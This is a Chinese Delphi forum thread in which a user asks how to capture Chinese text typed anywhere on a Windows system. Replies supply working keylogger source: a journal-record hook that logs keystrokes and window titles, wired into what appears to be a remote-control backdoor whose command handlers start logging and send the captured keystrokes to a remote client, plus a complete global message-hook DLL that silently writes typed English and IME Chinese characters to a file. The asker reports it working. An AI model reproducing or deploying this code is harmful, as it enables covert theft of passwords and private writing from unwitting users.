高手帮忙,请问如何拦截中文输入?(100分)

  • 主题发起人 主题发起人 glldc
  • 开始时间 开始时间
G

glldc

Unregistered / Unconfirmed
GUEST, unregistred user!
请问如何拦截到输入的中文文字?如果用hook拦截键盘的话,则只能得到输入的英文字母,不能得到输入的中文。如何才能正确拦截到输入的中文?<br><br>在网上找到一个例子,但我运行时不能拦截到任何信息,请高手帮忙看看哪里出了问题,谢!<br><br>unit Unit1;<br><br>interface<br><br>uses<br> &nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br> &nbsp;Dialogs, StdCtrls,Imm;<br><br>type<br> &nbsp;TForm1 = class(TForm)<br> &nbsp; &nbsp;Edit1: TEdit;<br> &nbsp; &nbsp;procedure FormCreate(Sender: TObject);<br> &nbsp;private<br> &nbsp; &nbsp;{ Private declarations }<br> &nbsp;public<br> &nbsp; &nbsp;{ Public declarations }<br> &nbsp;end;<br>var<br> &nbsp;Form1: TForm1;<br> &nbsp;HOOK:integer;<br>implementation<br>{$R *.dfm}<br>procedure Proc(var Message: TMessage);<br>var<br> &nbsp;hIMC: Integer;<br> &nbsp;dwSize: Integer;<br> &nbsp;hstr: Integer;<br> &nbsp;lpstr: Pointer;<br>begin<br> &nbsp;if Message.Msg = WM_IME_COMPOSITION then begin<br> &nbsp; &nbsp;if (Message.lParam and GCS_RESULTSTR) &lt;&gt; 0 then begin<br> &nbsp; &nbsp; &nbsp;hIMC := ImmGetContext(GetFocus);<br> &nbsp; &nbsp; &nbsp;dwSize := ImmGetCompositionString(hIMC, GCS_RESULTSTR, nil, 0);<br> &nbsp; &nbsp; &nbsp;dwSize := dwSize + sizeof(WCHAR);<br> &nbsp; &nbsp; &nbsp;hstr := GlobalAlloc(GHND,dwSize);<br> &nbsp; &nbsp; &nbsp;lpstr := GlobalLock(hstr);<br> &nbsp; &nbsp; &nbsp;ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);<br> &nbsp; &nbsp; &nbsp;ImmReleaseContext(GetFocus, hIMC);<br> &nbsp; &nbsp; &nbsp;//SaveStrToFile(lpstr);//保存函数你自己写吧<br> &nbsp; &nbsp; &nbsp;showmessage('拦截成功');<br> &nbsp; &nbsp;end;<br> &nbsp;end;<br>end;<br><br>function GetMsgProc(Code: Integer; WParam: WParam; LParam: LParam): LRESULT; stdcall;<br>var<br> &nbsp;theMsg: TMessage;<br>begin<br> &nbsp;Result := 0;<br> &nbsp;if Code &lt; 0 then begin<br> &nbsp; &nbsp;Result := CallNextHookEx(HOOK, Code, WParam, LParam);<br> &nbsp; &nbsp;Exit;<br> &nbsp;end;<br> &nbsp;if Code = HC_ACTION then begin<br> &nbsp; &nbsp;if (PMsg(LParam).message = WM_IME_COMPOSITION) then begin<br> &nbsp; &nbsp; &nbsp;theMsg.Msg := PMsg(LParam).message;<br> &nbsp; &nbsp; &nbsp;theMsg.WParam := PMsg(LParam).wParam;<br> &nbsp; &nbsp; &nbsp;theMsg.LParam := PMsg(LParam).lParam;<br> &nbsp; &nbsp; &nbsp;Proc(theMsg);<br> &nbsp; &nbsp;end;<br> &nbsp; &nbsp;Result := CallNextHookEx(HOOK, Code, WParam, LParam);<br> &nbsp;end<br>end;<br><br><br>procedure TForm1.FormCreate(Sender: TObject);<br>begin<br> &nbsp;Hook:=SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, HInstance,0);<br>end;<br><br>end.
 
首先是:<br><br>var<br>LogHook: HHook = 0;<br><br>HookList: TStringList;<br><br>函数:<br><br>function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;<br>var<br> &nbsp;ch: Char;<br> &nbsp;vKey: Integer;<br> &nbsp;FocusWnd: HWND;<br> &nbsp;Title: array[0..255] of Char;<br> &nbsp;str: array[0..12] of Char;<br> &nbsp;TempStr, Time: string;<br> &nbsp;LogFile: TextFile;<br> &nbsp;PEvt: ^EVENTMSG;<br> &nbsp;iCapital, iNumLock, iShift: Integer;<br> &nbsp;bShift, bCapital, bNumLock: Boolean;<br>begin<br> &nbsp;if iCode &lt; 0 then<br> &nbsp;begin<br> &nbsp; &nbsp;Result := CallNextHookEx(LogHook, iCode, wParam, lParam);<br> &nbsp; &nbsp;exit;<br> &nbsp;end;<br> &nbsp;if (iCode = HC_ACTION) then<br> &nbsp;begin<br> &nbsp; &nbsp;pEvt := Pointer(DWord(lParam));<br><br> &nbsp; &nbsp;FocusWnd := GetActiveWindow;<br> &nbsp; &nbsp;if LastFocusWnd &lt;&gt; FocusWnd then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;if hookkey&lt;&gt;'' then<br> &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;HookList.Add(hookkey);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hookkey :='';<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;HookList.Add('======End=====');<br> &nbsp; &nbsp; &nbsp;HookList.Add('=====begin====');<br> &nbsp; &nbsp; &nbsp;GetWindowText(FocusWnd, Title, 256);<br> &nbsp; &nbsp; &nbsp;LastFocusWnd := FocusWnd;<br> &nbsp; &nbsp; &nbsp;Time := DateTimeToStr(Now);<br> &nbsp; &nbsp; &nbsp;HookList.Add(Time + Format('Title:%s', [Title]));<br> &nbsp; &nbsp;end;<br><br> &nbsp; &nbsp;if pEvt.message = WM_KEYDOWN then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;vKey := LOBYTE(pEvt.paramL);<br> &nbsp; &nbsp; &nbsp;iShift := GetKeyState($10);<br> &nbsp; &nbsp; &nbsp;iCapital := GetKeyState($14);<br> &nbsp; &nbsp; &nbsp;iNumLock := GetKeyState($90);<br> &nbsp; &nbsp; &nbsp;bShift := ((iShift and KeyMask) = KeyMask);<br> &nbsp; &nbsp; &nbsp;bCapital := ((iCapital and 1) = 1);<br> &nbsp; &nbsp; &nbsp;bNumLock := ((iNumLock and 1) = 1);<br><br> &nbsp; &nbsp; &nbsp;//HookList.Add('这是vKey:'+inttostr(vKey));<br><br> &nbsp; &nbsp; &nbsp;if ((vKey &gt;= 48) and (vKey &lt;= 57)) then<br> &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if not bShift then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch := Char(vKey);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end else begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case vKey of<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;48: ch := ')';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;49: ch := '!';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;50: ch := '@';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;51: ch := '#';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;52: ch := '$';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;53: ch := '%';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;54: ch := '^';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;55: ch := '&';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;56: ch := '*';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;57: ch := '(';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end;<br> &nbsp; &nbsp; &nbsp; &nbsp; hookkey:=hookkey+ch;<br> &nbsp; &nbsp; &nbsp; end;<br> &nbsp; &nbsp; &nbsp;if (vKey &gt;= 65) and (vKey &lt;= 90) then // A-Z a-z<br> &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp;if not bCapital then<br> &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if bShift then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch := Char(vKey)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch := Char(vKey + 32);<br> &nbsp; &nbsp; &nbsp; &nbsp;end<br> &nbsp; &nbsp; &nbsp; &nbsp;else begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if bShift then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch := Char(vKey + 32)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch := Char(vKey);<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp; &nbsp;hookkey:=hookkey+ch;<br> &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;if (vKey &gt;= 96) and (vKey &lt;= 105) then // 小键盘0-9<br> &nbsp; &nbsp; &nbsp; &nbsp;if bNumLock then<br> &nbsp; &nbsp; &nbsp; &nbsp;hookkey:=hookkey+Char(vKey - 96 + 48);<br> &nbsp; &nbsp; &nbsp;ch:='n';<br> &nbsp; &nbsp; &nbsp;if (VKey &gt; 105) and (VKey &lt;= 111) then<br> &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp;case vKey of<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;106: ch := '*';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;107: ch := '+';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;109: ch := '-';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;111: ch := '/';<br> &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch := 'n';<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;if (vKey &gt;= 186) and (vKey &lt;= 222) then // 其他键<br> &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp;case vKey of<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;186: if not bShift then ch := ';' else ch := ':';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;187: if not bShift then ch := '=' else ch := '+';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;188: if not bShift then ch := ',' else ch := '&lt;';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;189: if not bShift then ch := '-' else ch := '_';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;190: if not bShift then ch := '.' else ch := '&gt;';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;191: if not bShift then ch := '/' else ch := '?';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;192: if not bShift then ch := '`' else ch := '~';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;219: if not bShift then ch := '[' else ch := '{';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;220: if not bShift then ch := '/' else ch := '|';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;221: if not bShift then ch := ']' else ch := '}';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;222: if not bShift then ch := Char(27) else ch := '&quot;';<br> &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch := 'n';<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;if ch &lt;&gt; 'n' then<br> &nbsp; &nbsp; &nbsp;hookkey:=hookkey+ ch;<br><br> &nbsp; &nbsp; &nbsp;// if (wParam &gt;=112 && wParam&lt;=123) // 功能键 &nbsp; [F1]-[F12]<br> &nbsp; &nbsp; &nbsp;if (vKey &gt;= 8) and (vKey &lt;= 46) then //方向键<br> &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp;ch := ' ';<br> &nbsp; &nbsp; &nbsp; &nbsp;case vKey of<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;8: str := '[退格]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;9: str := '[TAB]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;13: str := '[Enter]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;32: str := '[空格]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;33: str := '[PageUp]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;34: str := '[PageDown]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;35: str := '[End]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;36: str := '[Home]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;37: str := '[LF]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;38: str := '[UF]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;39: str := '[RF]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;40: str := '[DF]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;45: str := '[Insert]';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;46: str := '[Delete]';<br> &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ch := 'n';<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp; &nbsp;if ch &lt;&gt; 'n' then<br> &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//if PrvChar&lt;&gt;Char(vKey) then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hookkey :=hookkey+str;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// PrvChar := Char(vKey);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//end;<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;end;<br> &nbsp; end ;<br>{ &nbsp; &nbsp; else<br> &nbsp; &nbsp; &nbsp;if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then<br> &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp;if hookkey&lt;&gt;'' then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;HookList.add(Hookkey);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hookkey:='';<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp; &nbsp;if pEvt.message = WM_LBUTTONDOWN then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TempStr := '鼠标左键: '<br> &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TempStr := '鼠标右键: ';<br> &nbsp; &nbsp; &nbsp; &nbsp;HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));<br> &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp;//CloseFile(LogFile); &nbsp;}<br> &nbsp;end;<br> &nbsp;Result := CallNextHookEx(LogHook, iCode, wParam, lParam);<br>end;<br><br><br>/////////////////////////////////////////////////////////////////////////////////////<br><br> &nbsp;if StrTmpList[1]='039' then<br> &nbsp; begin &nbsp; {启动键盘记录}<br> &nbsp; &nbsp; if LogHook = 0 then<br> &nbsp; &nbsp; &nbsp; begin<br> &nbsp; &nbsp; &nbsp; &nbsp; Request:='Cmd009'; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //启动键盘记录成功!查看记录前请先终止键盘记录!<br> &nbsp; &nbsp; &nbsp; &nbsp; LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);<br> &nbsp; &nbsp; &nbsp; end else begin<br> &nbsp; &nbsp; &nbsp; &nbsp; Request:='Cmd010'; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //键盘记录已经启动过了!<br> &nbsp; &nbsp; &nbsp; end;<br> &nbsp; &nbsp; if Request='' then Request:='Cmd011'; &nbsp; &nbsp; &nbsp;//启动键盘记录成功!查看记录前请先终止键盘记录!<br> &nbsp; &nbsp; SendStreamToClient(IdTCPClient1,'011',Request);<br> &nbsp; &nbsp; Exit;<br> &nbsp;end;<br>{------------------------------------}<br> &nbsp;if StrTmpList[1]='040' then<br> &nbsp; begin &nbsp; {终止键盘记录}<br> &nbsp; &nbsp; try<br> &nbsp; &nbsp; &nbsp; if LogHook &lt;&gt; 0 then<br> &nbsp; &nbsp; &nbsp; &nbsp; begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UnhookWindowsHookEx(LogHook);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LogHook := 0;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HookList.Add(Hookkey);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HookList.Add('*********End**********');<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Hookkey:='';<br> &nbsp; &nbsp; &nbsp; &nbsp; end;<br> &nbsp; &nbsp; except<br> &nbsp; &nbsp; end;<br> &nbsp; &nbsp; Request:='Cmd012'; &nbsp; &nbsp; &nbsp;//终止键盘记录成功!<br> &nbsp; &nbsp; SendStreamToClient(IdTCPClient1,'011',Request);<br> &nbsp; &nbsp; Exit;<br> &nbsp;end;<br>{------------------------------------}<br> &nbsp;if StrTmpList[1]='041' then<br> &nbsp; begin &nbsp; {查看键盘记录}<br> &nbsp; &nbsp; Request:=HookList.Text;<br> &nbsp; &nbsp; if Request='' then<br> &nbsp; &nbsp; begin<br> &nbsp; &nbsp; &nbsp; Request:='NULL'; &nbsp;//键盘记录为空.<br> &nbsp; &nbsp; end;<br> &nbsp; &nbsp; SendStreamToClient(IdTCPClient1,'018',Request);<br> &nbsp; &nbsp; Exit;<br> &nbsp;end;<br>{------------------------------------}<br> &nbsp;if StrTmpList[1]='042' then<br> &nbsp; begin &nbsp; {清空键盘记录}<br> &nbsp; &nbsp; try<br> &nbsp; &nbsp; &nbsp; HookList.Clear;<br> &nbsp; &nbsp; except<br> &nbsp; &nbsp; end;<br> &nbsp; &nbsp; Request:='Cmd014'; &nbsp; &nbsp; &nbsp;//清空键盘记录完成!<br> &nbsp; &nbsp; SendStreamToClient(IdTCPClient1,'011',Request);<br> &nbsp; &nbsp; Exit;<br> &nbsp;end;<br><br> <br><br>function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;<br><br>这是一个钩子的回调函数。当用下边用SetWindowsHookEx安装了一个WH_JOURNALRECORD类型的钩子成功后,<br>就会调用这个回调函数,也就是执行回调函数的功能<br><br>WH_JOURNALRECORD 类型的钩子用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,<br>然后通过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD 钩子是全局钩子,它不能象线程特定钩子一样使用。<br><br>像黑洞那样的能记录下输入的汉字和字符的一般都 是安装WH_GETMESSAGE类型 的钩子<br><br>然后用回调函数过滤出英文字符和汉字。
 
请问如何安装WH_GETMESSAGE类型钩子?
 
library GetKey; <br><br>uses windows,messages,sysutils; <br><br>{$r *.res} <br><br>const <br><br> HookMemFileName='HookMemFile.DTA'; <br><br>type <br> PShared=^TShared; <br> PWin=^TWin; <br> TShared = record <br> &nbsp; HHGetMsgProc:HHook; <br> &nbsp; HHCallWndProc:HHook; <br> &nbsp; Self:integer; <br> &nbsp; Count:integer; <br> &nbsp; hinst:integer; <br> end; <br> TWin = record <br> &nbsp; Msg:TMsg; <br> &nbsp; wClass:TWndClass; <br> &nbsp; hMain:integer; <br> end; <br>var <br> MemFile:THandle; <br> Shared:PShared; <br> Win:TWin; <br><br>procedure SaveInfo(str:string);stdcall; <br>var <br> f:textfile; <br>begin <br> assignfile(f,'c:/key.txt'); <br> if fileexists('c:/key.txt')=false then rewrite(f) <br> else append(f); <br> if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'') <br> else write(f,str); <br> closefile(f); <br>end; <br><br>procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall; <br>begin <br> if (uMessage=WM_CHAR) and (lParam&lt;&gt;1) then <br> begin <br> &nbsp; SaveInfo(format('%s',[chr(wparam and $ff)])); <br> &nbsp; inc(shared^.count); <br> &nbsp; if shared^.count&gt;60 then <br> &nbsp; begin <br> &nbsp; &nbsp; SaveInfo('#13#10'); <br> &nbsp; &nbsp; shared^.count:=0; <br> &nbsp; end; <br> end; <br> if (uMessage=WM_IME_CHAR) then <br> begin <br> &nbsp; SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)])); <br> &nbsp; inc(shared^.count,2); <br> end; <br>end; <br><br>function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; <br>var <br> pcs:PMSG; <br> hd,uMsg,wP,lP:integer; <br>begin <br> pcs:=PMSG(lParam); <br> if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd&lt;&gt;0) then <br> begin <br> &nbsp; hd:=pcs^.hwnd; <br> &nbsp; uMsg:=pcs^.message; <br> &nbsp; wp:=pcs^.wParam; <br> &nbsp; lp:=pcs^.lParam; <br> &nbsp; HookProc(hd,uMsg,wp,lp); <br> end; <br> Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam); <br><br>end; <br><br>function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; <br>var <br> pcs:PCWPSTRUCT; <br> hd,uMsg,wP,lP:integer; <br>begin <br> pcs:=PCWPSTRUCT(lParam); <br> if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd&lt;&gt;0) then <br> begin <br> &nbsp; hd:=pcs^.hwnd; <br> &nbsp; uMsg:=pcs^.message; <br> &nbsp; wp:=pcs^.wParam; <br> &nbsp; lp:=pcs^.lParam; <br> &nbsp; HookProc(hd,uMsg,wp,lp); <br> end; <br> Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam); <br>end; <br><br>procedure SetHook(fSet:boolean); <br>begin <br> with shared^ do <br> if fSet=true then <br> begin <br> &nbsp; if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0); <br> &nbsp; if HHCallWndProc=0 then <br> &nbsp; begin <br> &nbsp; &nbsp; HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0); <br> &nbsp; &nbsp; if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc); <br> &nbsp; end; <br> end else <br> begin <br> &nbsp; if HHGetMsgProc&lt;&gt;0 then UnhookWindowsHookEx(HHGetMsgProc); <br> &nbsp; if HHCallWndProc&lt;&gt;0 then UnhookWindowsHookEx(HHCallWndProc); <br> &nbsp; HHGetMsgProc:=0; <br> &nbsp; HHCallWndProc:=0; <br> end; <br>end; <br><br>procedure Extro; <br>begin <br> UnmapViewOfFile(Shared); <br> CloseHandle(MemFile); <br>end; <br><br><br>function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; <br>begin <br> Result:=DefWindowProc(hWnd,Msg,wParam,lParam); <br> case Msg of <br> wm_destroy: <br> &nbsp; begin <br> &nbsp; &nbsp; SetHook(False); <br> &nbsp; &nbsp; ExitThread(0); <br> &nbsp; &nbsp; freelibrary(shared^.hinst); <br>// &nbsp; &nbsp; &nbsp;TerminateThread(); <br> &nbsp; &nbsp; //exitprocess(0); <br> &nbsp; end; <br> end; <br>end; <br><br>procedure run;stdcall; <br>begin <br> win.wClass.lpfnWndProc:= &nbsp; @WindowProc; <br> win.wClass.hInstance:= &nbsp; &nbsp; hInstance; <br> win.wClass.lpszClassName:='GetKey'; <br> RegisterClass(win.wClass); <br> win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil); <br> FillChar(Shared^,SizeOf(TShared),0); <br> shared^.self:=win.hmain; <br> shared^.hinst:=hinstance; <br> SetHook(true); <br> postmessage(findwindow('WinExec',nil),wm_destroy,0,0); <br> while(GetMessage(win.Msg,win.hmain,0,0))do <br> begin <br> &nbsp; TranslateMessage(win.Msg); <br> &nbsp; DispatchMessage(win.Msg); <br> end; <br>end; <br><br>procedure DllEntryPoint(fdwReason:DWORD); <br>begin <br> case fdwReason of <br> DLL_PROCESS_DETACH: <br> &nbsp; Extro; <br> end; <br>end; <br><br>exports run; <br><br>begin <br> //建立内存映象文件,用来保存全局变量 <br> MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName); <br> Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0); <br> DLLProc:=@DllEntryPoint; <br>end.
 
多谢weiliu,按你的代码可以拦截到英文字符和中文字符,真是太好了。[:)]<br><br>但有一点,这个程序在word、写字板不能拦截到任何字符,在记录薄中可以拦截到任何字符。可不可以改成在word、wps、写字板等编辑软件都可以拦截到中文字符?[:)]
 
经过修改,现在可以了。
 

Similar threads

后退
顶部